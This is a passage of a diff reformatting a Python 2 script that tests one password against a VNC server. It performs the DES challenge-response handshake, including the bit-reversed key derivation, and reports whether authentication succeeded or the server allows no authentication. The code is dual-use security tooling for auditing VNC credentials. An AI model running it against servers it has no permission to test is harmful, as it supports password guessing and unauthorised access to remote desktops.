struct.unpack("!B", data[i])[0] - # security type 1 = None - # security type 2 = VNC - # security type 16 = Tight - # security type 18 = VNC - # security type 19 = VeNCrypt - # plus some more - if security_type == 1: - return 0 - elif security_type == 2: - vnc_enabled = True - if not vnc_enabled: - print "VNC security type not supported" - return 3 - - - - # 44444 - # now, the client selects the VNC (2) security type, 1 byte - m = struct.pack("!B", 2) - if verbose: - print "Sending [%d] security type:\n%r" % (len(m), m) - try: - s.send(m) - except socket.error as e: - print "%s\n" % e - return 4 - - - # 55555 - # now, the server sends the authentication challenge, 16 bytes - try: - data = s.recv(16) - except socket.error as e: - print "%s" % e - return 4 - - challenge = struct.unpack("!16s", data)[0] - if verbose: - print "Received [%d] challenge:\n%r" % (len(challenge), challenge) - - - - # 66666 - # now, the client sends the response, 16 bytes - key = calc_key(password) - # encrypt 'challenge' using DES with 'key' - cipher = DES.new(key, DES.MODE_ECB) - response = cipher.encrypt(challenge) - if verbose: - print "Sending [%d] response:\n%r" % (len(response), response) - try: - s.send(response) - except socket.error as e: - print "%s\n" % e - return 4 - - - # 77777 - # last, the server sends an ok or fail - # 0 == OK, 1 == failed - try: - data = s.recv(1024) - except socket.error as e: - print "%s" % e - return 4 - if verbose: - print "Received [%d] security result:\n%r" % (len(data), data) - - result = struct.unpack("!I", data[0:4])[0] - if result == 0: - # good password - return 1 - elif result == 1: - # bad password - return 2 - else: - # protocol error - return 3 - + print "Sending [%d] security type:\n%r" % (len(m), m) + try: + s.send(m) + except socket.error as e: + print "%s\n" % e + return 4 + + # 55555 + # now, the server sends the authentication challenge, 16 bytes + try: + data = s.recv(16) + except socket.error as e: + print "%s" % e + return 4 + + challenge = struct.unpack("!16s", data)[0] + if verbose: + print "Received [%d] challenge:\n%r" % (len(challenge), challenge) + + # 66666 + # now, the client sends the response, 16 bytes + key = calc_key(password) + # encrypt 'challenge' using DES with 'key' + cipher = DES.new(key, DES.MODE_ECB) + response = cipher.encrypt(challenge) + if verbose: + print "Sending [%d] response:\n%r" % (len(response), response) + try: + s.send(response) + except socket.error as e: + print "%s\n" % e + return 4 + + # 77777 + # last, the server sends an ok or fail + # 0 == OK, 1 == failed + try: + data = s.recv(1024) + except socket.error as e: + print "%s" % e + return 4 + if verbose: + print "Received [%d] security result:\n%r" % (len(data), data) + + result = struct.unpack("!I", data[0:4])[0] + if result == 0: + # good password + return 1 + elif result == 1: + # bad password + return 2 + else: + # protocol error + return 3 def calc_key(password): - key = password + key = password - # first, pad the key with zeros to 8 bytes - while len(key) < 8: - key = key + "\x00" - if len(key) > 8: - key = key[:8] + # first, pad the key with zeros to 8 bytes + while len(key) < 8: + key = key + "\x00" + if len(key) > 8: + key = key[:8] - # second, flip all bytes individually - flipped_key = "" - for i in range(0 ,8): - b = struct.unpack("B", key[i])[0] - b_new = 0b00000000 + # second, flip all bytes individually + flipped_key = "" + for i in range(0, 8): + b = struct.unpack("B", key[i])[0] + b_new = 0b00000000 - b_mask = 0b10000000 - bit = b & b_mask - bit = bit >> 7 - b_new = b_new | bit + b_mask = 0b10000000 + bit = b & b_mask + bit = bit >> 7 + b_new = b_new | bit - b_mask = 0b01000000 - bit = b & b_mask - bit = bit >> 5 - b_new = b_new | bit + b_mask = 0b01000000 + bit = b & b_mask + bit = bit >> 5 + b_new = b_new | bit - b_mask = 0b00100000 - bit = b & b_mask - bit = bit >> 3 - b_new = b_new | bit + b_mask = 0b00100000 + bit = b & b_mask + bit = bit >> 3 + b_new = b_new | bit - b_mask = 0b00010000 - bit = b & b_mask - bit = bit >> 1 - b_new = b_new | bit + b_mask = 0b00010000 + bit = b & b_mask + bit = bit >> 1 + b_new = b_new | bit - b_mask = 0b00001000 - bit = b & b_mask - bit = bit << 1 - b_new = b_new | bit + b_mask = 0b00001000 + bit = b & b_mask + bit = bit << 1 + b_new = b_new | bit - b_mask = 0b00000100 - bit = b & b_mask - bit = bit << 3 - b_new = b_new | bit + b_mask = 0b00000100 + bit = b & b_mask + bit = bit << 3 + b_new = b_new | bit - b_mask = 0b00000010 - bit = b & b_mask - bit = bit << 5 - b_new = b_new | bit + b_mask = 0b00000010 + bit = b & b_mask + bit = bit << 5 + b_new = b_new | bit - b_mask = 0b00000001 - bit = b & b_mask - bit = bit << 7 - b_new = b_new | bit + b_mask = 0b00000001 + bit = b & b_mask + bit = bit << 7 + b_new = b_new | bit - #print bin(b) - #print bin(b_new) + # print bin(b) + # print bin(b_new) - flipped_key = flipped_key + struct.pack("B", b_new) + flipped_key = flipped_key + struct.pack("B", b_new) - return flipped_key + return flipped_key def usage(): - print "usage: %s SERVER PORT PASSWORD [TIMEOUT [VERBOSE]]" % sys.argv[0] - print "typical VNC ports are 5900, 5901, 5902..." + print "usage: %s SERVER PORT PASSWORD [TIMEOUT [VERBOSE]]" % sys.argv[0] + print "typical VNC ports are 5900, 5901, 5902..." + if __name__ == '__main__': - if len(sys.argv) < 4: - usage() - else: - server = sys.argv[1] - port = int(sys.argv[2]) - password = sys.argv[3] - timeout = 5 - if len(sys.argv) >= 5: - timeout = int(sys.argv[4]) - verbose = False - if len(sys.argv) >= 6 and sys.argv[5].lower() == "true": - verbose = True - - # status 0 = success (no authentication) - # status 1 = success (good password) - # status 2 = bad password - # status 3 = bad configuration (wrong version, wrong security type) - # status 4 = bad connection - # status 5 = too many failures - status = testvnc(server, port, password, timeout, verbose) - if status == 0: - print "\"None\" authentication method detected" - elif status == 1: - print "Authentication successful" - elif status == 2: - print "Authentication failed" - elif status == 3: - print "Protocol error" - elif status == 4: - print "Network error" - elif status == 5: - print "Too many failures" + if len(sys.argv) < 4: + usage() + else: + server = sys.argv[1] + port = int(sys.argv[2]) + password = sys.argv[3] + timeout = 5 + if len(sys.argv) >= 5: + timeout = int(sys.argv[4]) + verbose = False + if len(sys.argv) >= 6 and sys.argv[5].lower() == "true": + verbose = True + + # status 0 = success (no authentication) + # status 1 = success (good password) + # status 2 = bad password + # status 3 = bad configuration (wrong version, wrong security type) + # status 4 = bad connection + # status 5 = too many failures + status = testvnc(server, port, password, timeout, verbose) + if status == 0: + print "\"None\" authentication method detected" + elif status == 1: + print "Authentication successful" + elif status == 2: + print "Authentication failed" + elif status == 3: + print "Protocol error" + elif status == 4: + print "Network error" + elif status == 5: + print "Too many failures"